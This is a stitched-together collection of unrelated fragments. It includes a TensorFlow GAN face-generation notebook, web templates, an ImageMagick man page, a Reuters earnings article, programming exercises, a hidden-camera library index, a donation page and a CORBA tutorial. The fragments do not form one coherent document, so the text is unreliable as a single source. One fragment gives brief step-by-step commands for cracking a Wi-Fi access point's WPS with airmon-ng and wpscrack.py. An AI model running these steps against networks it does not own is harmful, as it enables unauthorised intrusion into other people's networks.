In this project, you'll use generative adversarial networks to generate new images of faces.
You'll be using two datasets in this project:
Since the celebA dataset is complex and you're doing GANs in a project for the first time, we want you to test your neural network on MNIST before CelebA. Running the GANs on MNIST will allow you to see how well your model trains sooner.
If you're using FloydHub, set data_dir
to "/input" and use the FloydHub data ID "R5KrjnANiKVhLWAkpXhNBe".
data_dir = './data'
# FloydHub - Use with data ID "R5KrjnANiKVhLWAkpXhNBe"
#data_dir = '/input'
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
import helper
helper.download_extract('mnist', data_dir)
helper.download_extract('celeba', data_dir)
show_n_images = 25
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
%matplotlib inline
import os
from glob import glob
from matplotlib import pyplot
mnist_images = helper.get_batch(glob(os.path.join(data_dir, 'mnist/*.jpg'))[:show_n_images], 28, 28, 'L')
pyplot.imshow(helper.images_square_grid(mnist_images, 'L'), cmap='gray')
# In my environment, matplotlib cant show grayscale image.
import numpy as np
from PIL import Image
img = helper.images_square_grid(mnist_images, 'L')
rgbimg = Image.new("RGB", img.size)
rgbimg.paste(img)
pyplot.imshow(rgbimg)
The CelebFaces Attributes Dataset (CelebA) dataset contains over 200,000 celebrity images with annotations. Since you're going to be generating faces, you won't need the annotations. You can view the first number of examples by changing show_n_images
.
show_n_images = 25
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
mnist_images = helper.get_batch(glob(os.path.join(data_dir, 'img_align_celeba/*.jpg'))[:show_n_images], 28, 28, 'RGB')
pyplot.imshow(helper.images_square_grid(mnist_images, 'RGB'))
Since the project's main focus is on building the GANs, we'll preprocess the data for you. The values of the MNIST and CelebA dataset will be in the range of -0.5 to 0.5 of 28x28 dimensional images. The CelebA images will be cropped to remove parts of the image that don't include a face, then resized down to 28x28.

You'll build the components necessary to build a GANs by implementing the following functions below:
model_inputs
discriminator
generator
model_loss
model_opt
train
This will check to make sure you have the correct version of TensorFlow and access to a GPU
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
from distutils.version import LooseVersion
import warnings
import tensorflow as tf
# Check TensorFlow Version
assert LooseVersion(tf.__version__) >= LooseVersion('1.0'), 'Please use TensorFlow version 1.0 or newer. You are using {}'.format(tf.__version__)
print('TensorFlow Version: {}'.format(tf.__version__))
# Check for a GPU
if not tf.test.gpu_device_name():
warnings.warn('No GPU found. Please use a GPU to train your neural network.')
else:
print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))
Implement the model_inputs
function to create TF Placeholders for the Neural Network. It should create the following placeholders:
image_width
, image_height
, and image_channels
.z_dim
.Return the placeholders in the following the tuple (tensor of real input images, tensor of z data)
import problem_unittests as tests
def model_inputs(image_width, image_height, image_channels, z_dim):
"""
Create the model inputs
:param image_width: The input image width
:param image_height: The input image height
:param image_channels: The number of image channels
:param z_dim: The dimension of Z
:return: Tuple of (tensor of real input images, tensor of z data, learning rate)
"""
# TODO: Implement Function
real_input = tf.placeholder(tf.float32, shape=(None, image_width, image_height, image_channels), name='real_input')
z_input = tf.placeholder(tf.float32, shape=(None, z_dim), name='z_input')
learningrate = tf.placeholder(tf.float32, name='learningrate')
return real_input, z_input, learningrate
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_inputs(model_inputs)
Implement discriminator
to create a discriminator neural network that discriminates on images
. This function should be able to reuse the variables in the neural network. Use tf.variable_scope
with a scope name of "discriminator" to allow the variables to be reused. The function should return a tuple of (tensor output of the discriminator, tensor logits of the discriminator).
def discriminator(images, reuse=False):
"""
Create the discriminator network
:param images: Tensor of input image(s)
:param reuse: Boolean if the weights should be reused
:return: Tuple of (tensor output of the discriminator, tensor logits of the discriminator)
"""
# TODO: Implement Function
alpha = 0.1
with tf.variable_scope('discriminator', reuse=reuse):
# Input layer is 28x28xchan
conv1 = tf.layers.conv2d(images, 64, 5, strides=2, padding='same')
#relu1 = tf.nn.relu(conv1)
relu1 = tf.maximum(alpha * conv1, conv1)
# 14x14x64
conv2 = tf.layers.conv2d(relu1, 128, 5, strides=2, padding='same')
conv2 = tf.layers.batch_normalization(conv2, training=True)
#relu2 = tf.nn.relu(conv2)
relu2 = tf.maximum(alpha * conv2, conv2)
# 7x7x128
conv3 = tf.layers.conv2d(relu2, 256, 5, strides=2, padding='same')
conv3 = tf.layers.batch_normalization(conv3, training=True)
#relu3 = tf.nn.relu(conv3)
relu3 = tf.maximum(alpha * conv3, conv3)
# 4x4x256
flat = tf.reshape(relu3, (-1, 4*4*256))
logits = tf.layers.dense(flat, 1)
output = tf.sigmoid(logits)
return output, logits
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_discriminator(discriminator, tf)
Implement generator
to generate an image using z
. This function should be able to reuse the variables in the neural network. Use tf.variable_scope
with a scope name of "generator" to allow the variables to be reused. The function should return the generated 28 x 28 x out_channel_dim
images.
def generator(z, out_channel_dim, is_train=True):
"""
Create the generator network
:param z: Input z
:param out_channel_dim: The number of channels in the output image
:param is_train: Boolean if generator is being used for training
:return: The tensor output of the generator
"""
# TODO: Implement Function
alpha = 0.1
with tf.variable_scope('generator', reuse=not is_train):
fc1 = tf.layers.dense(z, (3*3*512))
fc1 = tf.reshape(fc1, (-1, 3, 3, 512))
fc1 = tf.layers.batch_normalization(fc1, training=is_train)
#relu1 = tf.nn.relu(fc1)
relu1 = tf.maximum(alpha * fc1, fc1)
# 4x4x512
conv_trans1 = tf.layers.conv2d_transpose(relu1, 256, 3, strides=2, padding='valid')
conv_trans1 = tf.layers.batch_normalization(conv_trans1, training=is_train)
#relu2 = tf.nn.relu(conv_trans1)
relu2 = tf.maximum(alpha * conv_trans1, conv_trans1)
# 7x7x256
conv_trans2 = tf.layers.conv2d_transpose(relu2, 128, 5, strides=2, padding='same')
conv_trans2 = tf.layers.batch_normalization(conv_trans2, training=is_train)
#relu3 = tf.nn.relu(conv_trans2)
relu3 = tf.maximum(alpha * conv_trans2, conv_trans2)
# 14x14x128
conv_trans3 = tf.layers.conv2d_transpose(relu3, out_channel_dim, 5, strides=2, padding='same')
out = tf.tanh(conv_trans3)
# 28x28xchan
return out
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_generator(generator, tf)
Implement model_loss
to build the GANs for training and calculate the loss. The function should return a tuple of (discriminator loss, generator loss). Use the following functions you implemented:
discriminator(images, reuse=False)
generator(z, out_channel_dim, is_train=True)
def model_loss(input_real, input_z, out_channel_dim):
"""
Get the loss for the discriminator and generator
:param input_real: Images from the real dataset
:param input_z: Z input
:param out_channel_dim: The number of channels in the output image
:return: A tuple of (discriminator loss, generator loss)
"""
# TODO: Implement Function
g_model = generator(input_z, out_channel_dim, is_train=True)
d_model_real, d_logits_real = discriminator(input_real, reuse=False)
d_model_fake, d_logits_fake = discriminator(g_model, reuse=True)
g_loss = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(
logits=d_logits_fake,
labels=tf.ones_like(d_logits_fake)))
d_loss_real = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(
logits=d_logits_real,
labels=tf.ones_like(d_logits_real)*(1 - 0.1)))
d_loss_fake = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(
logits=d_logits_fake,
labels=tf.zeros_like(d_logits_fake)))
d_loss = d_loss_real + d_loss_fake
return d_loss, g_loss
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_loss(model_loss)
Implement model_opt
to create the optimization operations for the GANs. Use tf.trainable_variables
to get all the trainable variables. Filter the variables with names that are in the discriminator and generator scope names. The function should return a tuple of (discriminator training operation, generator training operation).
def model_opt(d_loss, g_loss, learning_rate, beta1):
"""
Get optimization operations
:param d_loss: Discriminator loss Tensor
:param g_loss: Generator loss Tensor
:param learning_rate: Learning Rate Placeholder
:param beta1: The exponential decay rate for the 1st moment in the optimizer
:return: A tuple of (discriminator training operation, generator training operation)
"""
# TODO: Implement Function
t_vars = tf.trainable_variables()
g_vars = [v for v in t_vars if v.name.startswith('generator')]
d_vars = [v for v in t_vars if v.name.startswith('discriminator')]
with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):
g_opt = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1).minimize(g_loss, var_list=g_vars)
d_opt = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1).minimize(d_loss, var_list=d_vars)
return d_opt, g_opt
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
tests.test_model_opt(model_opt, tf)
"""
DON'T MODIFY ANYTHING IN THIS CELL
"""
import numpy as np
def show_generator_output(sess, n_images, input_z, out_channel_dim, image_mode):
"""
Show example output for the generator
:param sess: TensorFlow session
:param n_images: Number of Images to display
:param input_z: Input Z Tensor
:param out_channel_dim: The number of channels in the output image
:param image_mode: The mode to use for images ("RGB" or "L")
"""
cmap = None if image_mode == 'RGB' else 'gray'
z_dim = input_z.get_shape().as_list()[-1]
example_z = np.random.uniform(-1, 1, size=[n_images, z_dim])
samples = sess.run(
generator(input_z, out_channel_dim, False),
feed_dict={input_z: example_z})
images_grid = helper.images_square_grid(samples, image_mode)
pyplot.imshow(images_grid, cmap=cmap)
pyplot.show()
import numpy as np
from PIL import Image
def show_generator_output2(sess, n_images, input_z, out_channel_dim, image_mode):
"""
Show example output for the generator
:param sess: TensorFlow session
:param n_images: Number of Images to display
:param input_z: Input Z Tensor
:param out_channel_dim: The number of channels in the output image
:param image_mode: The mode to use for images ("RGB" or "L")
"""
z_dim = input_z.get_shape().as_list()[-1]
example_z = np.random.uniform(-1, 1, size=[n_images, z_dim])
samples = sess.run(
generator(input_z, out_channel_dim, False),
feed_dict={input_z: example_z})
images_grid = helper.images_square_grid(samples, image_mode)
rgbimg = Image.new("RGB", images_grid.size)
rgbimg.paste(images_grid)
pyplot.imshow(rgbimg)
pyplot.show()
Implement train
to build and train the GANs. Use the following functions you implemented:
model_inputs(image_width, image_height, image_channels, z_dim)
model_loss(input_real, input_z, out_channel_dim)
model_opt(d_loss, g_loss, learning_rate, beta1)
Use the show_generator_output
to show generator
output while you train. Running show_generator_output
for every batch will drastically increase training time and increase the size of the notebook. It's recommended to print the generator
output every 100 batches.
losses = []
def train(epoch_count, batch_size, z_dim, learning_rate, beta1, get_batches, data_shape, data_image_mode):
"""
Train the GAN
:param epoch_count: Number of epochs
:param batch_size: Batch Size
:param z_dim: Z dimension
:param learning_rate: Learning Rate
:param beta1: The exponential decay rate for the 1st moment in the optimizer
:param get_batches: Function to get batches
:param data_shape: Shape of the data
:param data_image_mode: The image mode to use for images ("RGB" or "L")
"""
# TODO: Build Model
#saver = tf.train.Saver()
global losses
losses = []
image_channels = 3 if data_image_mode == 'RGB' else 1
real_input_, z_input_, learning_rate_ = model_inputs(data_shape[1], data_shape[2], image_channels, z_dim)
d_loss, g_loss = model_loss(real_input_, z_input_, image_channels)
d_opt, g_opt = model_opt(d_loss, g_loss, learning_rate_, beta1)
steps = 0
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
for epoch_i in range(epoch_count):
for batch_images in get_batches(batch_size):
# TODO: Train Model
steps += 1
batch_z = np.random.uniform(-1, 1, size=(batch_size, z_dim))
_ = sess.run(d_opt, feed_dict={real_input_: batch_images, z_input_: batch_z, learning_rate_: learning_rate})
_ = sess.run(g_opt, feed_dict={real_input_: batch_images, z_input_: batch_z, learning_rate_: learning_rate})
if steps % 50 == 0:
train_d_loss = d_loss.eval({real_input_: batch_images, z_input_: batch_z, learning_rate_: learning_rate})
train_g_loss = g_loss.eval({real_input_: batch_images, z_input_: batch_z, learning_rate_: learning_rate})
print("Epoch={}/{} step={} ".format(epoch_i, epoch_count, steps),
"D-Loss={:.4F}".format(train_d_loss),
"G-Loss={:.4F}".format(train_g_loss))
losses.append((train_d_loss, train_g_loss))
show_generator_output2(sess, 25, z_input_, image_channels, data_image_mode)
#saver.save(sess, './checkpoints/generator.ckpt')
Test your GANs architecture on MNIST. After 2 epochs, the GANs should be able to generate images that look like handwritten digits. Make sure the loss of the generator is lower than the loss of the discriminator or close to 0.
batch_size = 128
z_dim = 100
learning_rate = 0.0003
beta1 = 0.5
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
epochs = 2
mnist_dataset = helper.Dataset('mnist', glob(os.path.join(data_dir, 'mnist/*.jpg')))
with tf.Graph().as_default():
train(epochs, batch_size, z_dim, learning_rate, beta1, mnist_dataset.get_batches,
mnist_dataset.shape, mnist_dataset.image_mode)
Run your GANs on CelebA. It will take around 20 minutes on the average GPU to run one epoch. You can run the whole epoch or stop when it starts to generate realistic faces.
batch_size = 128
z_dim = 150
learning_rate = 0.0001
beta1 = 0.5
"""
DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE
"""
epochs = 1
celeba_dataset = helper.Dataset('celeba', glob(os.path.join(data_dir, 'img_align_celeba/*.jpg')))
with tf.Graph().as_default():
train(epochs, batch_size, z_dim, learning_rate, beta1, celeba_dataset.get_batches,
celeba_dataset.shape, celeba_dataset.image_mode)
import matplotlib.pyplot as plt
fig, ax = plt.subplots()
losses = np.array(losses)
plt.plot(losses.T[0], label='Discriminator', alpha=0.5)
plt.plot(losses.T[1], label='Generator', alpha=0.5)
plt.title("Training Losses")
plt.legend()
When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as "dlnd_face_generation.ipynb" and save it as a HTML file under "File" -> "Download as". Include the "helper.py" and "problem_unittests.py" files in your submission.


{% extends 'base.html' %} {% block content %}
Here you can find all your projects, with there current status and option to show report, logs, export data and delete project
{{item[3]}}


Restrict requires users to have roles that match the ones defined in the constraint, in any combinaton of AND/OR/NOT
Restrict uses an ANDed set of roles to determine access to an action - these are defined as as Array[String[. For example, a user with the roles "foo" and "bar" could access a Restrictions-protected action that specified any of the following:
However, a Restrict that required "foo", "bar" and "hurdy" would deny access to the user.
To define OR relationships, multiple groups within a list, i.e. List[Array[String]]
Restrict(Array("foo")) { Action { Ok(accessOk()) } }
Restrictions(Array("foo", "bar")) { Action { Ok(accessOk()) } }
Restrictions(Array("foo", "!bar")) { Action { Ok(accessOk()) } }
Restrictions(Array("hurdy")) { Action { Ok(accessOk()) } }


montage(1) montage(1) NAME montage - create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more. SYNOPSIS montage input-file[s] [options] output-file OVERVIEW The montage program is a member of the ImageMagick(1) suite of tools. Use it to create a composite image by combining several separate images. The images are tiled on the composite image optionally adorned with a border, frame, image name, and more. For more information about the montage command, point your browser to file:///usr/share/doc/imagemagick/www/montage.html or http://www.imagemagick.org/script/montage.php. DESCRIPTION Image Settings: -adjoin join images into a single multi-image file -affine matrix affine transform matrix -authenticate value decrypt image with this password -blue-primary point chromaticity blue primary point -bordercolor color border color -channel type apply option to select image channels -colors value preferred number of colors in the image -colorspace type alternate image colorsapce -comment string annotate image with comment -compose operator composite operator -compress type type of pixel compression when writing the image -define format:option define one or more image format options -density geometry horizontal and vertical density of the image -depth value image depth -display server query font from this X server -dispose method layer disposal method -dither method apply error diffusion to image -draw string annotate the image with a graphic primitive -encoding type text encoding type -endian type endianness (MSB or LSB) of the image -extract geometry extract area from image -fill color color to use when filling a graphic primitive -filter type use this filter when resizing an image -font name render text with this font -format "string" output formatted image characteristics -gamma value level of gamma correction -geometry geometry preferred tile and border sizes -gravity direction which direction to gravitate towards -green-primary point chromaticity green primary point -identify identify the format and characteristics of the image -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -kerning value set the space between two letters -label string assign a label to an image -limit type value pixel cache resource limit -matte store matte channel if the image has one -mattecolor color frame color -mode type framing style -monitor monitor progress -page geometry size and location of an image canvas (setting) -pointsize value font point size -profile filename add, delete, or apply an image profile -quality value JPEG/MIFF/PNG compression level -quantize colorspace reduce colors in this colorspace -quiet suppress all warning messages -red-primary point chromaticity red primary point -regard-warnings pay attention to warning messages -sampling-factor geometry horizontal and vertical sampling factor -scenes range image scene range -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -shadow add a shadow beneath a tile to simulate depth -size geometry width and height of image -stroke color color to use when stroking a graphic primitive -support factor resize support: > 1.0 is blurry, < 1.0 is sharp -synchronize synchronize image to storage device -texture filename name of texture to tile onto the image background -thumbnail geometry create a thumbnail of the image -tile geometry number of tiles per row and column -title string decorate the montage image with a title -transparent-color color transparent color -treedepth value color tree depth -trim trim image edges -units type the units of image resolution -verbose print detailed information about the image -virtual-pixel method virtual pixel access method -white-point point chromaticity white point Image Operators: -adaptive-sharpen geometry adaptively sharpen pixels; increase effect near edges -annotate geometry text annotate the image with text -blur geometry reduce image noise and reduce detail levels -border geometry surround image with a border of color -crop geometry preferred size and location of the cropped image -flatten flatten a sequence of images -flip flip image in the vertical direction -flop flop image in the horizontal direction -frame geometry surround image with an ornamental border -monochrome transform image to black and white -polaroid angle simulate a Polaroid picture -repage geometry size and location of an image canvas (operator) -resize geometry resize the image -rotate degrees apply Paeth rotation to the image -strip strip image of all profiles and comments -transform affine transform image -transparent color make this color transparent within the image -type type image type -unsharp geometry sharpen the image Image Sequence Operators: -coalesce merge a sequence of images Image Stack Operators: -clone indexes clone an image -delete indexes delete the image from the image sequence -duplicate count,indexes duplicate an image one or more times -insert index insert last image into the image sequence -swap indexes swap two images in the image sequence Miscellaneous Options: -debug events display copious debugging information -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information In addition to those listed above, you can specify these standard X resources as command line options: -background, -bordercolor, -border‐ width, -font, -mattecolor, or -title. By default, the image format of `file' is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify 'file' as '-' for standard input or output. SEE ALSO ImageMagick(1) COPYRIGHT Copyright (C) 1999-2012 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemag‐ ick/www/license.html or http://www.imagemagick.org/script/license.php ImageMagick Date: 2009/01/10 01:00:00 montage(1)


Applied Materials expects strong first quarter on 5G rollout
(Reuters) - Applied Materials forecast first-quarter revenue and profit above Wall Street estimates on Thursday, as the chip gear maker expects more clients to upgrade their equipment ahead of the 5G rollout in key markets.
Shares of the company, whose results are seen as a barometer for the semiconductor industry, rose 4% in extended trading.
The company is looking to benefit from chipmakers trying to upgrade their equipment as they pack more computing power into smaller chips in the wake of the 5G rollout and data center growth.
“We’re optimistic about 2020, with an expectation of sustained strength in foundry, logic and a step-up in memory investments during the year,” said Chief Executive Officer Gary Dickerson in a call with analysts.
Sales from China, its largest market, rose 5.5% to $1.20 billion in the fourth quarter, contributing 32% to the overall revenue.
Revenue from semiconductor systems, which supplies gears for chip makers, rose 2.5% to $2.30 billion, edging past FactSet estimates of $2.23 billion.
The company forecast first-quarter revenue to be about $4.10 billion, plus or minus $150 million, above analysts’ estimates of $3.71 billion, according to IBES data from Refinitiv.
It expects adjusted profit to be in the range of 87 cents and 95 cents per share, above market expectations of 74 cents.
The upbeat forecast comes amid a 16-month long trade U.S.-China dispute and a decline in memory prices that began with an oversupply of DRAM and flash memory.
Revenue fell marginally to $3.75 billion in the quarter ended Oct. 27, but beat analysts’ estimates of $3.68 billion, according to IBES data from Refinitiv.
Excluding items, the company earned 80 cents per share, above analysts’ estimates of 76 cents.


Write an expression that checks if given integer is odd or even.
Problem 2. Divisible by 7 and 5
Write a boolean expression that checks for given integer if it can be divided (without remainder) by `7`
and `5` in the same time.
Problem 3. Rectangle area
Write an expression that calculates rectangle’s area by given width and height.
Problem 4. Third digit
Write an expression that checks for given integer if its third digit (right-to-left) is 7.
Problem 5. Third bit
Write a boolean expression for finding if the bit `#3` (counting from 0) of a given integer.
The bits are counted from right to left, starting from bit `#0`.
The result of the expression should be either `1` or `0`.
Problem 6. Point in Circle
Write an expression that checks if given point `P(x, y)` is within a circle `K(O, 5)`.
Problem 7. Is prime
Write an expression that checks if given positive integer number n (n ≤ 100) is prime.
Problem 8. Trapezoid area
Write an expression that calculates trapezoid's area by given sides `a` and `b` and height `h`.
Problem 9. Point in Circle and outside Rectangle
Write an expression that checks for given point `P(x, y)` if it is within the circle `K( (1,1), 3)` and
out of the rectangle `R(top=1, left=-1, width=6, height=2)`.


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
D
E
F
G
H
I
L
M
N
O
P
R
S
T
C
CameraCallbacks
- Interface in
com.androidhiddencamera
Created by Keval on 14-Oct-16.
CameraConfig
- Class in
com.androidhiddencamera
Created by Keval on 12-Nov-16.
CameraConfig()
- Constructor for class com.androidhiddencamera.
CameraConfig
CameraConfig.Builder
- Class in
com.androidhiddencamera
CameraError
- Class in
com.androidhiddencamera
Created by Keval on 10-Nov-16.
CameraError()
- Constructor for class com.androidhiddencamera.
CameraError
CameraError.CameraErrorCodes
- Annotation Type in
com.androidhiddencamera
CameraFacing
- Class in
com.androidhiddencamera.config
Created by Keval on 10-Nov-16.
CameraFacing()
- Constructor for class com.androidhiddencamera.config.
CameraFacing
CameraFacing.SupportedCameraFacing
- Annotation Type in
com.androidhiddencamera.config
CameraFocus
- Class in
com.androidhiddencamera.config
Created by Keval on 10-Nov-16.
CameraFocus()
- Constructor for class com.androidhiddencamera.config.
CameraFocus
CameraFocus.SupportedCameraFocus
- Annotation Type in
com.androidhiddencamera.config
CameraImageFormat
- Class in
com.androidhiddencamera.config
Created by Keval on 12-Nov-16.
CameraImageFormat()
- Constructor for class com.androidhiddencamera.config.
CameraImageFormat
CameraImageFormat.SupportedImageFormat
- Annotation Type in
com.androidhiddencamera.config
CameraPreview
- Class in
com.androidhiddencamera
Created by Keval on 10-Nov-16.
CameraPreview(Context, CameraCallbacks)
- Constructor for class com.androidhiddencamera.
CameraPreview
CameraResolution
- Class in
com.androidhiddencamera.config
Created by Keval on 12-Nov-16.
CameraResolution()
- Constructor for class com.androidhiddencamera.config.
CameraResolution
CameraResolution.SupportedResolution
- Annotation Type in
com.androidhiddencamera.config
CameraRotation
- Class in
com.androidhiddencamera.config
Created by Keval Patel on 19/02/17.
CameraRotation()
- Constructor for class com.androidhiddencamera.config.
CameraRotation
CameraRotation.SupportedRotation
- Annotation Type in
com.androidhiddencamera.config
canOverDrawOtherApps(Context)
- Static method in class com.androidhiddencamera.
HiddenCameraUtils
Check if the application has "Draw over other app" permission? This permission is available to all the application below Android M (
com.androidhiddencamera
- package com.androidhiddencamera
com.androidhiddencamera.config
- package com.androidhiddencamera.config
com.kevalpatel2106.sample
- package com.kevalpatel2106.sample
compare(Camera.Size, Camera.Size)
- Method in class com.androidhiddencamera.
PictureSizeComparator
CONTINUOUS_PICTURE
- Static variable in class com.androidhiddencamera.config.
CameraFocus
Camera should focus automatically.
A
B
C
D
E
F
G
H
I
L
M
N
O
P
R
S
T
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes


{% load wagtailimages_tags %} {% image self.image max-1000x1000 as self_image %} {% if format == 'amp' %} {% else %} {# slugify the image title to use as the data target #} {% with self_image.image.title|slugify as slug %}


- Make the program an executable.
-
- Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).
-
- Get your MAC address, save it for later.
- ip link show wlan0 | awk '/ether/ {print $2}'
- Set your device into monitor mode.
- sudo airmon-ng start wlan0
- Attack your AP.
- wpscrack.py –iface mon0 –client <your MAC, because you're attacking yourself, right?> –bssid <AP MAC address> --ssid <name of your AP> -v
Await victory.


Bitcoin ABC is a full node implementation of the
Bitcoin Cash protocol.
We aim to provide a solid, stable software and help lead Bitcoin Cash
protocol development with an open and collaborative process.
Support Economic Prosperity
Help increase economic prosperity by supporting the technical development of Bitcoin Cash.
Our goal is to raise 800 BCH by August 1st, 2019. Please help us reach our goal!
The developers of Bitcoin Cash need your support to build and maintain the infrastructure necessary to keep Bitcoin Cash competitive and ready for global adoption. If you are interested in future functionality, security, and the success of Bitcoin Cash, please consider contributing to the development teams working to make this a reality.
100% of your donation will go to support Bitcoin Cash development, enabling sustainable development and innovation, and thereby adding value to the network and its currency.
% of goal reached
0 BCH
donated of 800 BCH goal
0
donations made
0
days to go
bitcoincash:qq29gww57twmvq07las39p3m65x8nw2ngvvuq6adpn
{% assign english_posts = site.posts | where: "lang", "en" %}
{% assign first_posts = english_posts | slice: 0, site.front_page_posts %}
{% for post in first_posts %}
{{ post.title }}
{% if post.subtitle %}
{{ post.subtitle }}
{% endif %}
Posted on {{ post.date | date: "%B %-d, %Y" }}
{% if post.image %}
{% endif %}
{{ post.excerpt | strip_html | xml_escape | truncatewords: site.excerpt_length }}
{% assign excerpt_word_count = post.excerpt | number_of_words %}
{% if post.content != post.excerpt or excerpt_word_count > site.excerpt_length %}
[Read More]
{% endif %}
{% if post.tags.size > 0 %}
{% endif %}
{% endfor %}


This topic introduces the basics of writing a CORBA client application. Included in this lesson are:
To create HelloClient.java,
HelloClient.java
// Copyright and License import HelloApp.*; import org.omg.CosNaming.*; import org.omg.CosNaming.NamingContextPackage.*; import org.omg.CORBA.*; public class HelloClient { static Hello helloImpl; public static void main(String args[]) { try{ // create and initialize the ORB ORB orb = ORB.init(args, null); // get the root naming context org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); // Use NamingContextExt instead of NamingContext. This is // part of the Interoperable naming Service. NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); // resolve the Object Reference in Naming String name = "Hello"; helloImpl = HelloHelper.narrow(ncRef.resolve_str(name)); System.out.println("Obtained a handle on server object: " + helloImpl); System.out.println(helloImpl.sayHello()); helloImpl.shutdown(); } catch (Exception e) { System.out.println("ERROR : " + e) ; e.printStackTrace(System.out); } } }
This section explains each line of HelloClient.java, describing what the code does, as well as why it is needed for this application.
The basic shell of a CORBA client is the same as many Java applications: You import required library packages, declare the application class, define a main method, and handle exceptions.
First, we import the packages required for the client class:
import HelloApp.*; // the package containing our stubs import org.omg.CosNaming.*; // HelloClient will use the Naming Service import org.omg.CosNaming.NamingContextPackage.*; import org.omg.CORBA.*; // All CORBA applications need these classes
The next step is to declare the client class:
public class HelloClient { // The main() method goes here. }
Every Java application needs a main() method. It is declared within the scope of the HelloClient class, as follows:
public static void main(String args[]) { // The try-catch block goes here. }
Because all CORBA programs can throw CORBA system exceptions at runtime, all of the main() functionality is placed within a try-catch block. CORBA programs throw system exceptions whenever trouble occurs during any of the processes (marshaling, unmarshaling, upcall) involved in invocation.
Our exception handler simply prints the name of the exception and its stack trace to standard output so you can see what kind of thing has gone wrong.
The try-catch block is set up inside main(),
try{ // Add the rest of the HelloClient code here. } catch(Exception e) { System.out.println("ERROR : " + e); e.printStackTrace(System.out); }
A CORBA client needs a local ORB object to perform all of its marshaling and IIOP work. Every client instantiates an org.omg.CORBA.ORB object and initializes it by passing to the object certain information about itself.
The ORB variable is declared and initialized inside the try-catch block.
ORB orb = ORB.init(args, null);
The call to the ORB's init() method passes in your application's command line arguments, allowing you to set certain properties at runtime.
Now that the application has an ORB, it can ask the ORB to locate the actual service it needs, in this case the Hello server. There are a number of ways for a CORBA client to get an initial object reference; our client application will use the COS Naming Service specified by OMG and provided with Java IDL. See Using Stringified Object References for information on how to get an initial object reference when there is no naming service available.
The two options for Naming Services are orbd (Solaris, Linux, or Mac OS X or Windows), which is a daemon process containing a Bootstrap Service, a Transient Naming Service, a Persistent Naming Service, and a Server Manager, and tnameserv, a transient naming service. This example uses orbd.
The first step in using the naming service is to get the initial naming context. In the try-catch block, below your ORB initialization, you call orb.resolve_initial_references() to get an object reference to the name server:
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
The string "NameService" is defined for all CORBA ORBs. When you pass in that string, the ORB returns the initial naming context, an object reference to the name service. The string "NameService" indicates:
The string "TNameService" indicates that the transient naming service will be used when ORBD is the naming service. In this example, we are using the persistent naming service that is a part of orbd.
As with all CORBA object references, objRef is a generic CORBA object. To use it as a NamingContextExt object, you must narrow it to its proper type.
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
Here we see the use of an idlj-generated helper class, similar in function to HelloHelper. The ncRef object is now an org.omg.CosNaming.NamingContextExt and you can use it to access the naming service and find other services. You will do that in the next step.
The NamingContextExt object is new to J2SE v.1.4, and is part of the Interoperable Naming Service.
To publish a reference in the Naming Service to the Hello object implementing the Hello interface, you first need an identifying string for the Hello object.
String name = "Hello";
Finally, we pass name to the naming service's resolve_str() method to get an object reference to the Hello server and narrow it to a Hello object:
helloImpl = HelloHelper.narrow(ncRef.resolve-str(name)); System.out.println("Obtained a handle on server object: " + helloImpl);
Here you see the HelloHelper helper class at work. The resolve-str() method returns a generic CORBA object as you saw above when locating the name service itself. Therefore, you immediately narrow it to a Hello object, which is the object reference you need to perform the rest of your work. Then, you send a message to the screen confirming that the object reference has been obtained.
CORBA invocations look like a method call on a local object. The complications of marshaling parameters to the wire, routing them to the server-side ORB, unmarshaling, and placing the upcall to the server method are completely transparent to the client programmer. Because so much is done for you by generated code, invocation is really the easiest part of CORBA programming.
Finally, we print the results of the invocation to standard output and explicitly shutdown the ORB:
System.out.println(helloImpl.sayHello()); helloImpl.shutdown();
Now we will compile HelloClient.java so that we can correct any errors before continuing with this tutorial.
Windows users note that you should substitute backslashes (\) for the slashes (/) in all paths in this document.
To compile HelloClient.java,
javac HelloClient.java HelloApp/*.java


Japanese Student Found Dead Inside Hostel Room of IIT-Guwahati
The deceased has been identified as Kota Onoda, a student of Gifu University in Japan.
